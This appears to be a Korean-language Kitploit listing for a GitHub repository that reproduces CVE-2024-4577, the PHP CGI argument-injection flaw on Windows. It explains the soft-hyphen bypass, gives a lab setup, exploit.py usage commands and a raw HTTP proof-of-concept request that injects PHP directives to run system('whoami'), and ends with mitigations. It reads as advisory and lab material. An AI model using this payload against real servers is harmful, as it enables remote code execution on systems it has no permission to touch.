Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2024-4577-phpcgi_rce_reproduction — CVE 재현: cve-2024-4577-phpcgi_rce_reproduction | Kitploit
도구/GitHubGitHub/razureink/cve-2024-4577-phpcgi_rce_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubrazureink/cve-2024-4577-phpcgi_rce_reproduction

cve-2024-4577-phpcgi_rce_reproduction

CVE 재현: cve-2024-4577-phpcgi_rce_reproduction

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
128일 전아직 검토되지 않음

CVE-2024-4577 - Windows에서의 PHP CGI 인자 주입 ("WorstFit")

개요

CVE-2024-4577은 Windows의 PHP CGI 구현에서 발생하는 치명적인 원격 코드 실행 취약점입니다. 이 취약점은 Windows의 "Best-Fit" 코드 페이지 변환을 악용하여 CGI 쿼리 문자열을 통해 명령줄 인자를 몰래 전달함으로써 기존 CVE-2012-1823에 대한 패치를 우회합니다.

  • CVSS 점수: 9.8 (치명적)
  • 발견자: Orange Tsai (DEVCORE)
  • 유형: OS 명령 주입 / 인자 주입
  • 패치 날짜: 2024년 6월 6일

기술 세부 사항

PHP가 CGI 모듈(php-cgi.exe)로 실행될 때, 쿼리 문자열을 명령줄 인자로 파싱합니다. CVE-2012-1823에 대한 기존 패치는 인자 주입을 방지하기 위해 -(하이픈, 0x2D) 문자를 차단했습니다. 그러나 중국어, 일본어, 한국어 등 특정 코드 페이지를 사용하는 Windows 시스템에서는 "Best-Fit" 문자 매핑 기능이 특정 유니코드 문자를 가장 가까운 ASCII 문자로 변환합니다.

핵심 우회 방법은 소프트 하이픈(0xAD / U+00AD) 문자를 사용하는 것입니다. 요청이 쿼리 문자열에 %AD를 전달하고 서버의 로케일이 "Best-Fit" 코드 페이지를 사용하는 경우, Windows는 내부적으로 0xAD를 0x2D(하이픈)로 변환하여 필터에도 불구하고 공격자가 PHP 인자를 주입할 수 있게 합니다.

예시: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input은 -d allow_url_include=1 -d auto_prepend_file=php://input이 됩니다.

영향을 받는 버전

  • PHP 8.1.*, 8.1.29 이전
  • PHP 8.2.*, 8.2.20 이전
  • PHP 8.3.*, 8.3.8 이전

구성 요구 사항:

  • php-cgi.exe로 실행되는 PHP CGI
  • mod_cgi 또는 mod_cgid가 구성된 Apache 웹 서버
  • "Best-Fit" 코드 페이지(중국어, 일본어, 한국어 등)를 사용하는 Windows 로케일

환경 설정 (XAMPP)

  1. Windows용 취약한 PHP 버전(예: 8.1.28)을 다운로드합니다.
  2. CGI 모드로 XAMPP 또는 Apache를 설정합니다:
    root@kitploit:~
    ScriptAlias /php-cgi/ "C:/php/"
    Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
    
  3. 대상 확인: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

사용 방법

root@kitploit:~
python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

조작된 페이로드는 쿼리 문자열을 통해 PHP 구성 지시어를 주입합니다:

root@kitploit:~
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

완화 방법

  • PHP를 8.3.8+, 8.2.20+, 또는 8.1.29+로 업그레이드
  • CGI 모드를 비활성화하고 PHP-FPM, mod_php 또는 FastCGI 사용
  • IIS 또는 Apache 재작성 규칙을 적용하여 php-cgi.exe에 대한 요청 차단
  • "Best-Fit"이 아닌 코드 페이지(예: 영어)가 있는 시스템에서만 PHP 실행

참고 자료

  • https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-4577
  • https://www.php.net/ChangeLog-8.php
  • https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09
도구 다운로드